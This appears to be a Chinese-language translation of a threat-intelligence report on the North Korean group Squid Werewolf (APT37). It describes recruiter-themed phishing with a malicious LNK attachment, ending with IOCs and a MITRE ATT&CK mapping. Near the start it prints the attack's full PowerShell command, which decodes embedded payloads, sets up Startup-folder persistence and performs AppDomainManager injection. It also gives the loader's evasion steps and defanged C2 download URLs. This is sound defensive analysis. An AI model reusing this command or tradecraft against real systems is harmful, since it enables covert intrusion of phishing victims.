朝鲜半岛

朝鲜APT组织Squid Werewolf伪装成招聘人员分发网络钓鱼电子邮件

主要发现

  • 具有相关主题的有针对性的网络钓鱼电子邮件使攻击者能够迅速访问关键人员使用的系统内的数据。
  • 威胁行为者越来越多地从 Microsoft Word 文档和 Microsoft Excel 电子表格转向包含可执行文件、脚本或快捷方式的档案。
  • 间谍团伙正在选择更复杂的方法和工具。因此,建议使用 EDR 等高级威胁检测解决方案来降低风险。

活动

攻击将从一封网络钓鱼电子邮件开始,攻击者将其伪装成联合工业园区人力资源代表提供的工作机会。

威胁行为者发送的网络钓鱼电子邮件威胁行为者发送的网络钓鱼电子邮件

附件包含一个受密码保护的文件Предложение о работе.zip,密码在电子邮件中提供。ZIP 存档中包含一个 LNK 文件Предложение о работе.pdf.lnk,一旦打开,就会执行以下命令:

powershell.exe -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk').Directory).Name+'\'+'Предложение о работе.pdf.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Предложение о работе.pdf.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](692604);$k.Seek(3001,[IO.SeekOrigin]::Begin);$k.Read($b,0,692604);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::<# mm #>WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::<# mm #>WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::<# mm #>WriteAllBytes($env:temp+'\mngs Attachement.pdf',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\mngs Attachement.pdf');start ($t+'\d.exe')

此命令触发了以下序列:

  • 打开文件Предложение о работе.pdf.lnk,从偏移量处读取 Base64 编码的数据并进行解码。然后,将生成的数据按 : 字符拆分,并再次使用 Base 算法进行解码。
  • 将文件复制%WINDOWS%\Microsoft.NET\Framework\v0.30319\dfsvc.exe到 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe以获得系统中的持久性。
  • 将解码后的数据保存到以下文件中:
    • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe.config
    • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\DomainManager.dll
    • %TEMP%\mngs Attachement.pdf
  • 打开钓鱼文档mngs Attachement.pdf
  • 运行 d.exe可执行文件。

Предложение о работе.pdf.lnk 中的 Base64 编码负载Base64 编码的有效载荷 Предложение о работе.pdf.lnk

Предложение о работе.pdf.lnk 中的 Base64 编码负载

钓鱼文档 mngs Attachment.pdf钓鱼文档mngs Attachement.pdf

d.exe (dfsvc.exe  )可执行文件运行动态链接库(DLL)。

DomainManager.dll

该 d.exe文件是一个 .NET 应用程序。当用户运行 .NET 应用程序时,公共语言运行时 (CLR) 会自动加载并分析其配置文件(在本例中为d.exe.config)。

文件 d.exe.config内容:

d.exe配置

配置文件的部分 <runtime>指定了用于加载自定义AppDomainManager

而不是默认 AppDomainManager 的 .NET CLR 运行时设置:

  • <appDomainManagerType value="DomainManager.InjectedDomainManager" />表示要用作 AppDomainManager 的类。InjectedDomainManager意味着该类InjectedDomainManager将由 CLR 从命名空间 DomainManager 加载。
  • <appDomainManagerAssembly value="DomainManager" />表示加载 AppDomainManager 的程序集 (DLL)。在我们的例子中,这是一个与 d.exe可执行文件位于同一目录中的 DLL 文件。

DomainManager.dll是一个基于 C# 的加载器,经过了混淆处理,可能使用了 Obfuscar。

加载程序字符串存储在双重异或加密的字节数组中,其中包含数组中的字符索引和 0xAA密钥。

加载器字符串

入口点位于InitializeNewDomain类的方法中InjectedDomainManager

下面是一个代码示例:

代码示例

加载器可以执行以下操作:

  1. 通过调用 检查互联网连接https://www.timeapi[.]io/api/time/current/zone?timeZone=Europe%2FAmsterdam。如果服务器响应包含 “seconds”字符串,则确认可以访问;否则,互联网不可用。

    检查互联网连接

  2. 检查程序的运行时以阻止沙盒执行。为此,加载程序会捕获当前时间戳,休眠 10 分钟,然后更新时间戳并计算时间差。如果超过 9 分钟,加载程序会发送 GET 请求 hxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/discountcode.php,然后终止。

    检查程序的运行时间

  3. 如果所有检查都成功通过,加载程序将通过设置以下注册表项参数来禁用启动文件夹中的自动运行
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder]::

    • dll = 0x3
    • exe.config = 0x3

      检查已成功通过

  4. 检查是否存在 %LOCALAPPDATA%\DomainManager.conf。如果此文件存在,加载程序将读取使用 AES128 CBC 加密的恶意负载,解密并在内存中执行。如果 %LOCALAPPDATA%\DomainManager.conf不存在,加载程序将向发送 GET 请求 hxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/shoppingcart.php。服务器响应使用 AES128 CBC 解密。它包含恶意负载,加载程序在内存中运行该负载。服务器负载保存到%LOCALAPPDATA%\DomainManager.conf使用 AES128 CBC 加密的文件中。研究时该负载不可用。

BI.ZONE 威胁情报检测到的攻击与 Securonix团队描述的攻击非常相似,他们将其归咎于 APT37 集群(BI.ZONE 将其称为 Squid Werewolf)。

攻击者过去曾使用过类似的基于 C# 的库。但当时,有效载荷使用凯撒 (shift) 密码解密,并包含混淆的 JavaScript 代码。有效载荷包含另一个加载器,该加载器将受害者的计算机名称发送到服务器,然后加载并执行 PowerShell 脚本,其中包含 VeilShell 远程访问木马。

IOCS

  • 20dd93441c5e78b7adc7764c92719bed70ddb0676f707df7ea9f37d7969f4776
  • 49a2ed08930ed20cbf859ca2fe3113e64f7a305c7a03cbda284fcceb781d053b
  • 0601426a6da40ec9b47bab54e4ec149ba69ee58f787eea0e32d1001cab1abd04
  • hwsrv-1253398.hostwindsdns[.]com

MITRE 攻击和 CK

策略 技术 程序
初始访问 网络钓鱼:鱼叉式网络钓鱼附件 Squid Werewolf 使用钓鱼电子邮件附件传播恶意软件
执行 命令和脚本解释器:PowerShell Squid Werewolf 使用恶意 LNK 文件执行 PowerShell 命令powershell.exe -nop —c [command]
用户执行:恶意文件 受害者必须执行恶意 LNK 文件才能启动系统入侵
持久性 启动或登录自动启动执行:注册表运行键/启动文件夹 Squid Werewolf 利用恶意 LNK 文件在启动文件夹中创建文件d.exed.exe.configDomainManager.dll
防御规避 反混淆/解码文件或信息 Squid Werewolf 使用 PowerShell 脚本解码恶意 LNK 中的 Base64 编码负载,包含三个文件:d.exe.configDomainManager.dll和 mngs Attachement.pdf。<br><br>Squid Werewolf 使用.NET 加载器解密使用 AES128 CBC 加密的有效载荷文件DomainManager.conf。<br><br>Squid Werewolf 使用 .NET 加载器解密双重 XOR 加密字符串
劫持执行流程:AppDomainManager Squid Werewolf 利用 AppDomainManager 注入来运行 .NET 加载程序
伪装:重命名系统实用程序 Squid Werewolf 使用恶意 LNK 文件复制并重命名 .NET 相关进程dfsvc.exe
伪装:双重文件扩展名 .pdf.lnkSquid Werewolf在 LNK 名称中使用双扩展名
修改注册表 Squid Werewolf 使用 .NET 加载程序修改注册表项的参数[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder],从而禁用启动文件夹中的自动运行
模糊文件或信息 Squid Werewolf 使用 Obfuscar 来混淆 .NET 加载器。<br><br>Squid Werewolf 使用双重 XOR 加密 .NET 加载程序中的字符串
混淆的文件或信息:嵌入式有效负载 Squid Werewolf 使用带有 Base64 编码负载的恶意 LNK 文件,该负载包含三个文件:d.exe.configDomainManager.dll和 mngs Attachement.pdf
混淆的文件或信息:命令混淆 Squid Werewolf 在恶意 LNK 文件中使用混淆的 PowerShell 命令
模糊文件或信息:加密/编码文件 DomainManager.confSquid Werewolf使用 AES128 CBC 加密的有效载荷文件
虚拟化/沙盒逃避:基于时间的逃避 Squid Werewolf 利用 .NET 有效负载中的 10 分钟延迟来检查程序的运行时
发现 系统网络配置发现:Internet 连接发现 Squid Werewolf 使用该 timeapi[.]io服务允许加载程序检查互联网连接
指挥与控制 应用层协议:Web 协议 Squid Werewolf 使用 HTTPS 加载加密的有效载荷文件DomainManager.conf
入口工具转移 Squid Werewolf 使用 .NET 加载程序从服务器下载恶意负载

相关文章

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

返回顶部按钮